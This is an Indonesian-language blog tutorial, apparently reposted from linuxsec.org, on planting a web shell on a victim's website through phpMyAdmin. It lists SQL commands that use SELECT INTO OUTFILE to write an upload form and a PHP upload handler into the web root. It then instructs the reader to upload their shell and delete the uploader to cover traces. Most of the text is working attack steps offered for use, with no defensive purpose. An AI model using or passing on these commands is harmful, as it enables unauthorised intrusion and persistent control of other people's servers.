berikut syarat syarat untuk bisa mengupload shell via phpmyadmin :
- User mysql root atau yag setara root (have all privileges)
- Tau lokasi atau direktori dari website target berjalan.
Oke dalam tutorial ini saya sudah memenuhi kedua syarat tersebut. User
root dan tau lokasi dari web. DI tutorial ini sebagai contoh saya
menggunakan Windows Server. Untuk linux server caranya sama saja, hanya
sesuaikan saja direktorinya.
Oke langsung saja :
Masuk ke menu command lalu masukkan kode berikut :
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload2.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE 'C:/server/htdocs/upload2.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;
Ubah yang dicetak tebal dengan direktori dari website. Perintah ini
digunakan untuk membuat form upload di website korban dengan nama
upload2.php
Oke lagi. Sekarang masukkan kode berikut :
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "C:/server/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "
<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "";?>');
SELECT * INTO OUTFILE 'C:/server/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;
Perintah ini untuk membuat fungsi upload dari file upload2.php .
Oke sekarang kita coba panggil file nya lewat web browser.
Sesuaikan dengan path yang kalian masukkan di command mysql nya. Yang dipanggil adalah upload2.php
nah kalian akan mendapat sebuah uploader. Tinggal upload shell kalian lewat situ, dan hapus uploadernya.
Oke sekian tutorial kali ini, jika kurang jelas silahkan komentar.
SUMBER : linuxsec.org
0 Komentar
Penulisan markup di komentar